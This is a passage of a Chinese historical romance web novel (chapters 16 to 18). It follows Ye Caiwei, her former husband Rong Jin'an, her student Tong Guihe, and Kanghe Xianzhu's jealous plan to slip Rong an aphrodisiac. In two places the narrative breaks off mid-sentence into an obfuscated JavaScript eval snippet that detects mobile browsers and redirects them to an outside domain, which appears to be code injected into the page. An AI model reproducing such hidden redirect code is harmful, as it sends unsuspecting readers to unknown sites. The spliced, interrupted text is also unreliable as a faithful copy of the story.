两人一前一后走着,相隔一条手臂的距离,人迹罕至的乡间午后静谧,几排错落的矮房陈旧却好似焕发勃勃生气。 方才过来,叶采薇并未注意到这些细节。 “停船暂借问,或恐是同乡。” “什么?”她恍惚,不确定是不是容津岸所言。 这是他们两人第一次正式见面,她对他说的话。 那时候,她单纯地认为,他们只是相逢不相识的同乡而已。 容津岸摇头,问她:“你打算哪天回去?” 说话的时候并未停下脚步,但却在眨眼间,与她几乎并肩。 叶采薇突然发觉,这好像是他们自从重遇以来,两个人私下里,第一次心平气和地说话。 五年的光阴,彼此都对对方的生活一无所知,突如其来的重逢难以掩盖陌生和疏离,只能选择用刺做武器,把自己伪装得无懈可击。 她不是强悍到无畏的圣者,她的记忆和思潮也无法被埋入黄土、立碑列传,当猛烈而清晰的雨水一来,便可以破土而出、野蛮滋长。 “暂时先不回去的。”叶采薇平淡回答。 容津岸这才停下了脚步,他转过身,站在她微微前方的位置,目光投过来,像高峰的雪顶被阳光炙烘后飘起的漫烟。 “要到应天去,陪几个学生参加秋闱。” 她不可能说出实情,只能用离开东流时对叶琛的说辞来搪塞。 父子二人都信了。 “奚子瑜可真是大度,你身为奚家七奶奶,在青莲书院教书、住在书院,甚至学生参加科举,都可以全程陪同。” 晴朗的天空突然阴沉下来,恰若容津岸此刻眼里的迷霾,幽幽传过来。 叶采薇嘴唇发干,想说点什么来缓和两人之间凝滞的空气,却听容津岸又道: “应天有两个国子监的旧人邀我,刚好同你顺路。他们还说奚子瑜也要过去,到时候我们几个同窗,好好聚上一聚。” 叶采薇十分后悔说出口的话。 奚子瑜离开东流数月,她不知其行踪,若是果真如容津岸所说,几人相见,该是多么尴尬? 五年来奚子瑜和梅若雪都帮了她的大忙,她却为了跟容津岸置气,背刺了那样恩爱的夫妇二人。 只有到时候先和奚子瑜碰面,跟他坦白自己的过错,求得他的原谅了。 然而到了应天,没有见到奚子瑜,却碰见了刚刚到达的佟归鹤。 看到叶采薇和容津岸一同前来,佟归鹤的面上五味杂陈,然而该讲的礼貌还是要讲,对自己的老师和容大人行礼道: “这次来的路上,刚好碰见奚家七奶奶,她给了我好多新鲜的豆沙酥让我分给其他同窗,先生和容大人,你们也尝尝?” 叶采薇恨不得找个地缝钻进去。 她身旁的容津岸却神色淡然: “哦?既然是奚家七奶奶的东西,那我可要尝一尝了。” 16. 疼惜 16 话音落地,佟归鹤愣住了。 容津岸向来清冷淡漠,又是人人赞颂的清流领袖,怎么会说出如此轻佻散漫的话来? 像是看穿了他的疑虑,容津岸解释说,自己和奚家七爷奚子瑜是一同在国子监求学的好友,当年两人情同手足,奚子瑜的妻子七奶奶,可以算作他的弟妹。 “弟妹”这个词,被容津岸咬得很重,不知是有意还是无意,叶采薇听来,不由得心头一荡。 好在她与奚子瑜被容津岸误会一事,已经因着偶遇佟归鹤而提前揭破,叶采薇无须要再多说什么,只顺着佟归鹤的到来,和他一同离开。 毕竟,对外她的口径一致,说自己到应天来,是为了陪学生们参加秋闱。 容津岸神色淡淡,倒是再没说什么。 三人各自离开。 应天是南直隶的省城,两百年前本朝开国时,曾为太.祖时期的国都,后来太.宗力排众议迁都至燕京,应天也还保留着八街九陌的繁华富庶。 叶采薇很放心在应天暂歇两日。 这样偌大的城市,再与容津岸偶遇的机会,几乎微乎其微。 至于容津岸所言,奚子瑜也会来应天…… 叶采薇倒是想得很轻松,毕竟那个误会是容津岸自己脑补出来的,以他的脾性,绝不可能与奚子瑜谈起半个字,只能闷着,烂在肚子里。 反正他也闷习惯了,不是吗? 佟归鹤下榻的客栈地处应天的繁华地段,青莲书院的其他几人虽分住不同的客栈,但都相隔很近,抬脚便到了。 想到容津岸,叶采薇最终决定与佟归鹤同住一间客栈,上下两层的客房。 稍稍打点,准备出门。 自从上次重遇容津岸后,几番事情发生,叶采薇便知晓南直隶是不能再待了。这一次,主仆三人离开东流,真正目的是南下寻找新的落脚生根之地,江西或者浙江都可以。 而见雁在绩溪被流寇绑架一事让叶采薇心有余悸,既然在应天暂留,须得寻一个高端可靠的镖局,请两名身强体壮凶神恶煞的镖师,全程护送她们三人。 临出门,却迎面遇上了佟归鹤。 许是外面日头毒辣,匆匆外归的青年满头是汗,他皮肤黑黄,面颊的通红却甚是显眼,看到叶采薇,先行了个礼,急道: “学生方才遇到了那个康和县主,因与她隔了一点距离,并未上前行礼打招呼。” 又言: “她还是和过去一样,那副嚣张跋扈的模样丝毫没改,其实……其实学生有一个疑问,虽然不该问,但实在忍不住。” “上一次在池州,先生帮康和县主赔付了温泉别业的钱老爷整整一万两银,事后,她可有将这笔钱还给先生?” 叶采薇蹙眉,却听她身后的见雁按耐不住,挤上前来,疾首蹙额骂道: “还什么还呀,人影都没见到一个,一分钱不出,把我们家先生当成冤大头!真是肉包子打狗!” 也不怪见雁冲动,口不择言。 那日在徽州知府衙门,叶采薇随容津岸走后,问鹂为了防止见雁说漏嘴,这才将叶采薇在池州三日所发生的事,一五一十告诉了她。 包括重遇容津岸、与康和县主的狭路相逢,以及后来在那个温泉别业的种种。 见雁专管叶采薇的银钱和账目,是个理财能手。她信奉着“有钱万事大吉”,将身外之物看得很重,认为只有把钱财牢牢抓在自己手里,才能安心稳妥。 游秀玉因病仙逝,叶采薇给容津岸五千两的帛金,见雁无话可说;但又莫名其妙赔出去一万两,见雁心痛,她可太心痛了! 虽然这笔钱对她们主仆来说确实不算什么,她家姑娘也向来心善、乐于助人,但这次她帮助的对象—— 康和县主,名不见经传,却是容津岸空虚寂寞了五年,才找到的红颜知己! 容津岸找一个年轻十二岁的红颜知己也就罢了,男人的劣根性、永远喜欢二八芳龄的姑娘,但他竟然还专找跟叶采薇长得像的,这是明里暗里,把她家姑娘当成什么了? 要不是看在绩溪时容津岸出面救了自己一命,见雁早就当面找他理论了!今天,佟归鹤又突然提起那一万两,见雁可就再也忍不住。 佟归鹤一听见雁的话,忍了一路的怒火也“噌”地一下烧了起来,无不激愤道: “我看她穿金戴银,前呼后拥,招摇得很,根本不像囊中羞涩!” 一个尚算俊朗的青年,气得眼冒金星,鼻子都歪了: “堂堂一个县主,怎么能做出如此厚颜无耻的事情呢?先生你放心,这件事由我来出面,你就在客栈里等着,我一定要找她讨一个说法!” 说完,转身就要走。 “佟归鹤!”叶采薇连忙叫住他。 上次在温泉别业,那钱妈妈说的话叶采薇还记得一清二楚。 康和县主的父亲因为犯错,在三皇子那里失了宠,一家人齐齐整整,即将被赶回西南边陲,转眼才大半个月过去,康和县主非但没走,反倒还比先前更要嚣张跋扈,其中根由,自然还是家势跃升。 京中风云变幻,苍狗白云之事,叶采薇自小屡见不鲜。 也正因如此,她才要更加谨慎,当即拿出了身为老师的严厉,教育佟归鹤要以秋闱为重,不可以分心,更不可以为了她而惹是生非。 而佟归鹤站直听训,嘴唇紧闭,青筋凸起,剧烈呼吸声,从他鼻腔中一上一下传出来,每一声都在昭彰着他的愤愤不服气。 “那天晚上的事,老师很感谢你,没有向其他人说过半句。”提起当日的东流她与叶琛在街市买面具被佟归鹤撞破一事,叶采薇顺势变得温柔起来。 这下,她身上那股因严厉的教诲和训诫而生的长辈之感,霎时便烟消云散。 佟归鹤到底是个初出茅庐的弱冠青年,眼见面前的老师温柔典雅,一双杏眼含着盈盈的关切与笑意,那些冲动之下的违逆之言,实在说不出口。 “先生放心,那晚的事,学生一定守口如瓶,烂在肚子里。”佟归鹤信誓旦旦,早已忘记要去找康和县主一事。 话已至尽头,叶采薇多叮嘱几句,说起晚上她做东请大家吃饭之事,佟归鹤答应去通知余人,便各自散去。 整个下午,叶采薇带着问鹂和见雁,主仆三人在应天城中穿梭往来,所幸,并未与康和县主“狭路相逢”。 日落时,她们带着大包小包回到客栈,上楼,路过佟归鹤房间所在的一层,叶采薇停下了脚步。 先前说好,今晚她做东请几个学生吃饭,也不知佟归鹤是否已联系好。 踌躇间,却听有脚步声,由下而上、蹒跚踉跄传来。 见雁好奇,先伸出头去探看,只见方才答应好了要安心温书的佟归鹤,竟然满身狼狈,正一瘸一拐上楼。 佟归鹤虽然五官与容津岸有几分相似,但他的皮肤不像容津岸那样极白,反而生得黑黄。这黑黄的皮肤上到处挂彩,青紫血红一片接着一片,他原本嫳屑飘逸的衫袍到处沾着尘土,头顶的发冠和青丝也乱作一团,无不触目惊心。 叶采薇蹙眉:“你……你这是出了什么事?可还要紧?” 佟归鹤听见声音,抬眼发现被老师看到自己这副披头跣足的难堪模样,骤然躲开视线,声如蚊蚋: “方才在街上,有恶霸仗势欺凌弱小,学生实在看不过眼,便和那几个恶霸动了手。” 他当然不可能说实话。 方才他回到房中,本来是想谨听老师的教诲好好温书,人一坐下,就又忍不住开始乱想。 那个康和县主…… 真是越想越气,越想越气。 康和县主实在是太不要脸,在温泉别业时,面子里子都让她挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369988|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,老师帮了她的大忙,她竟然连一句感谢都没有,转头就把老师抛诸脑后! 他的老师美丽端慧,温柔典雅,大方持谨,腹有诗书气自华,自然是不屑于与这些脑袋空空的小女子一般见识的—— 可他佟归鹤不能忍!若是明知道老师被人占尽便宜却选择忍气吞声,他哪里有脸配称自己男子汉大丈夫,又哪里堪为老师的夫君? 他的决心不会变,等明年会试一过,他就要向老师提亲,即使老师用那个亡夫的儿子做挡箭牌拒绝,他也绝不会退缩! 而现在,他也一定要为老师讨回公道! 怒发冲冠,佟归鹤立刻奔出门去,循向最初碰见康和县主的地方,果然看见了人。 他上前理论,谁知那康和县主恬不知耻,根本不承认有过此事! 佟归鹤据理力争,康和县主的脸一阵红一阵白,她毫无还口之力,便恼羞成怒,让几个喽啰,把佟归鹤狠狠打了一顿。 佟归鹤到底是个只会舞文弄墨的文弱书生,哪里经得起粗手乱拳,很快便被揍得七零八落,眼睁睁看着康和县主扬长而去。 这些,他都绝不可能向自己的老师说明。 叶采薇当然对自己的学生深信不疑,蹙着眉看他一瘸一拐上了楼,等到近前,听他突然问: “老师,你是不是觉得我没用?” 佟归鹤顶着满脸青紫,眼中真诚款款。 不知为何,他这副模样,却让叶采薇恍然想起了叶琛。 叶容安喜静,不似别的稚童那般贪玩好动,但也偶尔有调皮急躁的时候,磕了碰了,明明很疼,却因为自知理亏,在她为他上药时,生生强忍。眼泪在眼眶里打转,实在控制不住,叶容安才不情不愿地吸一吸鼻子。 然后立刻瓮声瓮气问她:“阿娘,你是不是觉得容安没用?” “你呀,怎么会这么想?”叶采薇叹气,面对佟归鹤清澈执拗的眼神: “路见不平能挺身而出,是大勇之举,你若是真像某些人那般,事不关己高高挂起,老师才觉得心寒失望。” 佟归鹤挤出了一丝满足的笑。 然而他不知道的是,就在他满怀心事、一瘸一拐上楼的时候,身后还跟着主仆二人,脚步极轻。 听到叶采薇的话,容文乐不由看向自己的主子。 他是个机灵的,总觉得这话刺耳,像是在指桑骂槐针对容津岸。 但容津岸面不改色。 而佟归鹤心下激荡:“老师,老师,我能不能……” 脸上身上的伤口牵扯,很痛,但他满脸通红,目光追随叶采薇: “我想大胆求求老师,亲手为我包扎伤口,可以吗?” 叶采薇一心想着叶琛,大方笑道:“好。” 说着,四个人便前后入了佟归鹤的房间。 那边声音渐细,楼梯上的容文乐心下打鼓。 其实,今日与叶采薇一并来应天,偶遇佟归鹤的时候,他家大人心情是极好的。以往接待三皇子的人,容津岸总是一副冷淡的面孔,今日却难得有几分的客气。 带着这样的好心情,容津岸亲自到客栈来,接叶采薇去金陵酒楼,赶赴说好的那顿国子监旧友聚餐。 谁知就在楼梯上瞧见了这一出。 “大人,咱们……还上去吗?”容文乐试探问道。 容津岸的视线冷冷扫过来。 容文乐艰难咽下口中的津液。 “原来叶娘子不是奚家七奶奶,孤身一人许多年,那句诗怎么说的,‘窈窕淑女,君子好逑’,佟公子算得上青年才俊,这几年他们师徒二人朝夕相处,他对叶娘子展开追求,是好事一桩。” 又见容津岸面色越来越沉,容文乐赶紧: “其实……佟公子未必是故意卖惨,叶娘子宅心仁厚,就算换作街边的流浪汉,她也定会亲自上手包扎……” 17. 替身 17 傍晚,金陵酒楼门口。 一直到下车的时候,康和县主的脸上还挂着浓烈的怒意。 “县主,莫要往心里去了。”县主的贴身婢女最知她脾性,当然明白她为何生气,小心翼翼扶着她,满脸鄙夷骂道: “那佟归鹤算个什么东西,也配在县主面前大放厥词?再说,钱老爷的一万两,是那姚氏自愿替县主赔偿的,又不是县主求着她赔的,要我们还钱,还什么钱?我们不欠姚氏一分钱!” 一番话振振有词,字字句句骂到了康和县主的心坎,县主头顶那股子晦气一扫而空,她不由喜笑颜开,只觉得脚底生风,往酒楼的步伐都轻快无比。 霉运过去,好事也一桩接着一桩,康和县主刚要上楼梯,转眼便见到了同样正要往楼上走的容津岸。 她又惊又喜。 上次在温泉别业,她险些丢了大颜面不说,津岸哥哥还对她不闻不问,竟抛下她就走。等到再回池州府城,她也再找不到他。 之后,她顾着阿爹京城那边的事情,没有余暇追人,津岸哥哥居然和过去在京城里一样,从她的世界里消失,根本没有主动找过她! 她想不明白。 她装作是他的未婚妻,在姚氏和那帮酸臭学生面前百般炫耀宣示,他都没有拆穿她、甚至连生气都没有生气,分明他也是想要顺水推舟娶她的嘛,怎么还能说消失就消失呢? 这下不可以再让津岸哥哥跑了。 “津岸哥哥!”康和县主娇滴滴喊着,直直就扑了过去。 容文乐替容津岸稍稍挡了挡。 “你什么时候来的应天?好巧!妹妹和你真是天生一对,连吃个饭也能碰上!哎呀,可真是太好了!” 县主的眼珠子都恨不得黏在容津岸身上。 “县主……”容文乐强忍心中不适,努力想委婉地表达自家主子的拒绝。 “津岸哥哥,这家金陵酒楼,是整个应天最好的酒楼,妹妹来过很多次了,”康和县主却对容文乐视而不见,一心追随容津岸, “津岸哥哥想吃什么,妹妹做东请你,妹妹给你点?” 容文乐不胜其烦,偏偏容津岸神色淡淡,看不出是接受还是拒绝,僵持之下,容文乐忽然听到身后传来另一个男声: “仲修,来了怎么不先上去?” 来人绕到近前,又睇了跟在容津岸身后的康和县主一眼,然后对容津岸意味深长地笑道: “既然仲修多带了一个人来,可要好好跟我们介绍介绍了。五年不见,有好多话,想听你亲口说一说呢。” *** 聚餐在金陵酒楼的三楼,一处相对僻静的包厢。 容津岸没说拒绝,康和县主自然喜滋滋跟着他一并入了席。 参加这次聚餐的几人,都是当年与容津岸一同在国子监求学的同窗。嘉泰四十四年三月的会试,他们俱是取得不等的功名,再之后被外放至旧都应天所在的南直隶为官,虽远离权力中心,却也因为辖地富庶繁华而混得盆满钵满,个个大腹便便,脑满肠肥。 与他们相比,清瘦挺拔的容津岸,更是鹤立鸡群。 几人都带了各自的正室夫人,加上容津岸与康和县主,刚好一桌坐满。 同窗欢聚,推杯换盏把酒言欢,最先聊起的也是往昔旧事。 到了嘉泰帝这一朝,国子监早已不复太.祖初建时的欣欣向荣,绝大部分学子都是通过恩荫等特殊渠道入的学,像容津岸这样凭借真才实学、由地方推举上来的,几乎寥寥。 也正因为如此,从入学起,容津岸便不与他们为伍,几人油腻腻说起的那些旷课、打架、抄作业、考试作弊,还有纵情声色吃喝赌.博等等之事,容津岸一概没有参与过。 酒过三巡,有人发现容津岸只淡淡吃着茶,想起当初和如今的区别,不由将话题扯到了容津岸的身上: “瞧我们,这几年混得人模狗样,经常聚会,聊来聊去都是那些话,仲修第一次到应天来,就把人家晾着。” 容津岸放下茶盏: “忆往昔峥嵘岁月稠①,挺好。” 有人接过话来,酒意上头,言语也多了放肆: “还得是仲修,长得好、文章好,就连钻营人脉,也是个中高手。” 出身显贵大族的纨绔们,生平最看不得寒门子弟凭借真本事一跃飞升,尤其是容津岸这样的翘楚,又恰好容津岸并非全无污点,那人说起来,便更加鄙夷和轻狂。 “我们算什么,还在吃喝玩乐挥霍青春的时候,仲修已经攀上了高枝,有了叶渚亭这个好丈人,让陛下也爱不释手。” 那人闷头一杯,烈酒入喉,咂着嘴,舌头打结: “叶渚亭出了那么大的事,也没影响你的前程。从辽东回来连升三级做了礼部侍郎,第二年还升了礼部尚书、第三年直接入阁成了天子近臣,二十五岁的礼部尚书、二十六岁的内阁阁老啊,一句‘年少有为’,我都嫌夸得不到位……” 那溢出酒盏的嫉妒,康和县主自然也听得出来。 她原想开口维护她最爱的津岸哥哥,又一看在座之人,只能撇撇嘴,咽了下去。 他们可不是佟归鹤那样的毛头书生,基本上都是三皇子齐王殿下在南直隶的爪牙,她家能有今日正是倚仗了三皇子的权势,可不好在外面惹出祸端。 容津岸仍旧只淡淡吃茶,场面一时陷入尴尬。 有人长袖善舞,两三句话岔开话题,扯到家宅后院、子女教养上。 刚好桌上的几位夫人方才听得昏昏欲睡,一聊到这些她们的专属话题,一个个都来了兴致。 饭桌上的阴霾一扫而空。 有人见康和县主明媚张扬,却不参与桌上的话题,主动问她: “县主,你与仲修的好事何时能成?” 康和县主的脸骤然红透,容津岸却突然站起身:“有点闷,出去透透气。” “其实仲修他一直都这样,对谁都冷淡,用鼻孔看人。”说话的那个,是最初在楼下偶遇容津岸与康和县主的,“能把县主带到我们的饭局上来,他已经不是过去的容仲修了,县主,还是你有本事。” 康和县主的脸红得更加厉害,听他又说: “刚才在楼下,我一见到县主,就知道仲修为什么要选你了。听京城的同侪说,这五年来仲修孑然一身,谁都看不上眼,栽在县主的手里,算是他应得的。” 这话听来舒坦极了,康和县主羞赧无比,低低笑道:“这样最好了。” “是啊,刚才一晃眼,我还把你认做了叶大姑娘,哦不,叶采薇已经和容津岸和离五年,应该喊她叶娘子才对。”那人晃晃悠悠,猛地摇头, “我再一看,才发现实在荒谬。叶娘子今年二十有四,人老珠黄,青春不在,县主你不一样,二八年华,正是如花似玉的时候,我竟然也能看错,真是罪过罪过。” 说完,又端起酒盏,向康和县主敬了一杯。 而他的夫人已经脸色大变,在桌下死命掐他大腿:“死鬼你喝多了吧,不会说话就别说,闭上你的臭嘴!” 这人出了名的妻管严,平日里被这位正室夫人欺压威吓惯了,今日难得借着酒劲发作,张脸就吼回去: “你个妇道人家懂个屁!别长着对耳朵,一天天听到什么都以为我在讽刺你人老珠黄!我、我这是在夸县主花容月貌、冰雪可人,叶氏一个罪臣之女,又是仲修的下堂妻,哪里配和县主比?” 康和县主却只觉得内心翻江倒海,他们夫妻两人的争吵嗡嗡作响,一句也听不进去。 她黑着脸站起来:“我突然胃口不好,你们慢慢吃。” 等到人走,饭桌上的争吵还没停止,刚才那个讥讽容津岸的人听不下去,声量提高: “你就说你贱不贱?嗯?任谁来,打眼一看,会不知道这位县主娘娘长得像叶采薇?” “人家自己都不在乎当替身,你非要把这层窗户纸捅破干什么?这下好了,人家下不来台,别说这县主娘娘的亲爹最近在三皇子面前得脸,就光是她回头到容津岸面前哭一哭,够我们在座几个喝上一壶的了!” “怕什么,因为前几个月的妖书案,容津岸已经退出了内阁,而且他现在在丁忧,也没个正差,手、手应该是伸不了这么远的……”妻管严自己把自己说得没了底气,梗着脖子: “你们就说说,这是怎么回事?” “当年全京城,谁不知道容津岸和叶采薇互相看不顺眼?后来叶渚亭出事,容津岸不就是为了报答叶渚亭的栽培,才娶了叶采薇吗?他们成亲几个月就和离了,容津岸肯定早就受够,怎么一转眼过了五年,他还专门找一个跟叶采薇长得像的替身回来?” 这话一说,满桌的嘈杂突然停下来。 好像这个自相矛盾的问题,大家从来没有往深处想过。 就在众人泡在酒臭中面面相觑时,一个犹疑的声音,打破了僵局: “……其实,我倒是知道一点内情的。” 说话的这位,这五年以来的仕途最顺,是在场唯一一位当年同样受叶渚亭单独照拂的学子,是与容津岸和叶采薇货真价实的同窗,与两人都更加相熟。 在座之人也知晓这层关系,纷纷看向他: “既然有内情,可被卖关子!我们可是最喜欢听这些了,快点快点!” 明知道所有人都在好奇催促,那人却慢吞吞端起杯中酒,仰头一饮而尽,仿佛下了很大决心,打了一个酒嗝: “像你们,那些外面的人,都以为他俩是互相看不顺眼的死对头。” 然后故意一顿: “其实,他们两人郎有情妾有意,背地里打得火热,早就私定过终身。” 饭桌上传来一片倒吸凉气的声音。 “我们在叶府中上课的时候,经常都是所有人一起吃饭。同一张桌子,表面上井水不犯河水,”那人挤了挤沟壑纵深的眼: “桌面之下,偷偷相互摸手,就像这样。” 说着,那人把他夫人的手拉起来,单手握着,一根一根揉她的手指,从指节到指根。 明明只是简单的动作,两人的手却仿佛沁出了蜜糖,还拉着黏津津湿哒哒的丝。 桌上另外几位夫人的脸色统统变得暧昧起来,被拉手的夫人也满脸通红,抽回手来,难掩娇嗔: “哎呀呀,大庭广众之下……” 男人们眼睛瞪得像铜铃,根本没有注意到自家夫人的变化,只顾着去捡自己掉在地上的下巴: “他?容津岸?你确定你没有喝多?” 纷纷难以置信: “容津岸,他他他……当初在国子监,他可是衣冠楚楚,克己复礼,仗着确实有本事,对谁都冷冷淡淡的……容津岸,你说他?” “你们真当他是什么清心寡欲的正人君子呢?”那人又打了个酒嗝,肉脸酡红,仿佛在嘲笑旁人的浅薄无知,笑说: “有一回天气好,叶渚亭带我们去郊游采风。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14390596|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两人一前一后离了大队,我心里突然有了点想法,就借口方便到处看看,找了一大圈,你们猜怎么着?容津岸和叶采薇躲在一个角落的竹林里接吻,那动静……用天雷勾地火来形容,都一点也不夸张。” 饭桌上顿时一片啧啧连声,高低惊叹。 “那你说,既然他们两个当初爱得痴痴缠缠,为什么成亲后半年,说和离就和离了?还断得那么干净?”有人又提出疑问。 “据说是因为,容津岸背地里跟那位嘉柔公主不清不楚的。嘉柔公主可是赵贵妃的女儿、三皇子的胞妹,当年叶渚亭还没出事的时候,叶采薇就跟她不对付,转眼又和容津岸搅在一起,叶采薇的脾气哪里受得了,天天在家里闹得天翻地覆,容津岸忍无可忍,就……” 此刻的包厢之外,康和县主早已陷入混沌,不知他们后面说了什么。 尽管她并不想听,然而这门帘薄薄一层,就算她死死捂住双耳,也实在抵不过那些话语,直直钻入她的心窝,将她割得四分五裂。 容津岸…… 原来她不是他的独一无二。 原来他对她的刮目相看,完全是因为她长得很像叶氏。 原来他并非对所有人都一视同仁的冷漠,也并非真正的清心寡欲,他和叶氏,曾经在最无忧无虑的同窗时代,无人知晓的地方,缠绵至死…… 所以,他看得见她吗? 视线里,容津岸高大清冷的身影走了过来,康和县主满腔的质问憋了许久,正欲上前宣泄倾吐,却听来人说: “上次姚先生替你赔付了钱老爷的一万两,直接把银票给我。” 康和县主没想到他竟然在这时说这种话,几近崩溃,将矜持抛诸脑后,歇斯底里吼道: “容津岸,你怎么能这么对我?” 谁知对方冰冷如洞,好像在看她,眼里却根本没有她,仿佛她还不如那区区一万两,容津岸说: “你们一家仗着三皇子的权势作威作福,要卷铺盖滚回西南,也就是我一句话的事。” 他如同执刑的判官,完全无视她的怆然和凄惶,康和县主眼泪决堤,再也受不了这样的羞辱。 转身离开。 容津岸回到包厢,席上已经讨论起了别的话题,有人见他面不改色,问:“仲修,这么快就把县主送回去了?” 像是试探方才他们的话,有没有被容津岸知晓。 他们并未听见外面的那些。 容津岸重新落座,淡淡的目光逐一扫过席上之人。 所有人陡然莫名一顿,酒意热意灰飞烟灭,冷汗爬上背脊。 “是容某的问题,让大家误会了。”明明是谦逊有礼的自省,却只让人心底生寒。 佩紫怀黄的年轻权臣头角峥嵘,举手投足仿若大权在握,早就不是当年那个寒窗苦读的清隽书生了。 “康和县主与我并无任何私交,我身负重孝,也绝无可能与无关之人谈婚论嫁。”容津岸道,“今晚那些不合时宜的话,就请烂在这张饭桌上,若被有心之人听了去,恐怕会耽误诸位的锦绣前程。” 夜晚的应天,不知从何时起暴雨瓢泼。 康和县主坐在回去的马车上,眼泪却比外面的雨还要汹涌。 她想起了第一次见容津岸时的情景。 那是今年的春末,因着与三皇子之母赵贵妃的表亲关系,她随着父母从西南边陲入京,得到陛下的接见,还被破格封了县主。 那天也下着这么大的雨,她怀着满心欢喜,自庄严肃穆的皇宫中出来。 暮色暗合,华灯初上,朦胧水汽将整个京城笼上靡靡蔼蔼的湿意,混沌错落。 马车转角,行至宫城外的街市,路过一处衙门,只见门口台阶上,数人往来纷纷,形色匆匆。 侍从跟班们都是来接自家主子下职的,头发和衣衫几乎湿透,撑伞的动作殷勤恳切,生怕淋湿了主子,而那些官爷个个面露不悦,无非是埋怨加班太迟或是突临的暴雨。 唯有容津岸一人执伞,不疾不徐拾级而下,仿佛与周遭的混乱纷杂,不处一个世界。 他身穿一袭紫蓝官袍,胸前补子绣着飞天仙鹤,明明是浓墨重彩的颜色,却不见老沉,反而衬得他更加泓峥萧瑟。 容津岸眉眼清俊深邃,似笼在濛濛烟雨,又似染了煌煌灯火的懒,光是站在那里,已经足以让康和县主心跳如雷。 那一刻,她很想在暴雨中,为他跳下马车。 从此之后,她成了他最虔诚的信徒。 无论他对她如何冷待,只要能看见他,她便心满意足。 甚至他离京丁忧,她也不管不顾追随他而来。 “县主,你别哭了好不好?”婢女急得上蹿下跳,“到底发生了什么事啊?你不是和容大人一起参加他同窗的聚餐吗,怎么容大人没有亲自出来送你?” 方才在酒楼,康和县主一见容津岸就甩开了她,后来开席,所有的婢仆都没有进去随侍。 再后来,就看见康和县主哭得梨花带雨地奔了出来。 倾盆暴雨未停,康和县主伤伤心心地痛哭一场,却是比雨要先停。 “一万两,凑一万两的银票,应当没问题吧?”她红肿着眼问婢女。 婢女一顿,反应过来:“县主,你不会真的要把一万两还给姚氏吧?” 康和县主却摆了摆手: “另外,再给我准备足量的暖情合.欢之药,这一次,我一定要让津岸哥哥为我欲.仙.欲.死。” 18. 药性发作 18 应天的大雨下了整日整夜,直到第二日的日晡时分,仍未有停歇。 大雨中,一辆华美贵丽的马车停在府衙门口,却迟迟不见有人下车。 马车之中,康和县主手持镶嵌玳瑁的菱花铜镜,反复自照,欣赏着镜中自己精心打扮的花容月貌。 可以说,为了这一场会面,她从头发丝武装到了脚趾缝。 “你说,本县主这般天生丽质,貌美如花,若是再主动投怀送抱,津岸哥哥一定会回心转意的吧?”刻意高挑的细眉难掩得意之色。 又想起什么,冷哼一声: “当年一定是那叶采薇不知羞耻,用尽了下作手段,津岸哥哥才中了她的奸计被她所迷,根本没有动真心!” 婢女当然知晓她的心思,眯着眼夸道: “县主你独一无二,叶氏那等贱.人,岂是可以与你相提并论的?县主你可是用玫瑰花瓣整整沐浴了三遍,从里到外每一件衣裳,都是娇滴滴香喷喷的,就连奴婢看了,都忍不住心动呢!” “奴婢敢保证,只要容大人一见到县主,保管被县主你迷得如痴如醉,根本舍不得撒手!” 一想到昨晚在避火图上看到的那些活色生香,和津岸哥哥温香软玉、绵绵情意,康和县主心头的小鹿扑腾扑腾乱撞,脸颊红透,羞答答地捏了捏婢女的上臂。 食盒中的四叶奶黄酥,放了足量的暖情合.欢之药,任谁吃两口,都会情不自禁情动不已。 康和县主提上食盒,示意婢女为她撑伞,两人下车。 大雨中视线模糊,主仆二人刚刚走出马车的车厢,康和县主却眼尖,一下认出,前方台阶上的背影,是昨晚在金陵酒楼一同吃饭的其中一位夫人。 这位夫人的夫君姓万,就是昨晚饭局上最先开口嘲讽容津岸“善于钻营人脉”的那位,平日里在私下便已时常就此发牢骚,倒是不知容津岸与叶采薇的私事。 也正基于此,万夫人想到昨晚那波折丛生的饭局,至今仍旧心有余悸,是以,面对康和县主的亲昵和主动,她根本招架不住。 “哎呀,还是我年轻不懂事,跟容大人闹小姑娘脾气。虽然呢,他比我大了整整一轮,但我也不能因此恃宠生娇,事事都指望他无底线的包容,男人嘛,男人的面子有多重要?” 康和县主乖巧得很, “容大人因此恼了我,把我一个人丢下跑过来办差,事业为重。我冷静下来一想,原是我的错,就赶紧亲手做了他最爱的四叶奶黄酥,过来真心实意地赔礼道歉。” 一番姿态极低的柔弱攻势下来,见万夫人神色松动,康和县主又将手中提着的食盒往上掂了掂,笑得格外天真: “容大人他还在恼我,必不会愿意见我,但夫人你不一样……” 万夫人耳根子软、心肠也特别软,别人说什么她都能信,昨晚饭局上得到的消息真真假假,再一看今日如此大的雨,康和县主一个金尊玉贵的小姑娘,不仅亲自下厨,还冒着大雨亲自跑到府衙来向容津岸赔礼,又乖又可怜,二话不说便答应了下来。 俗话说得好,“宁拆十座庙,不毁一桩婚”,昨晚容津岸多半是气上了头,人家小两口的事,她当然乐于撮合。 万夫人是官太太,康和县主又是三皇子那边的人,府衙哪里敢拦。两人肩并肩往里走,快要到容津岸的值房门口,康和县主见容文乐守在外面,便拉了万夫人躲在一旁,赧赧道: “若是被那容文乐看见我,恐怕影响到夫人,夫人菩萨心肠,三皇子面前,我也会为万大人多多美言的!” *** 值房内只有容津岸一个人。 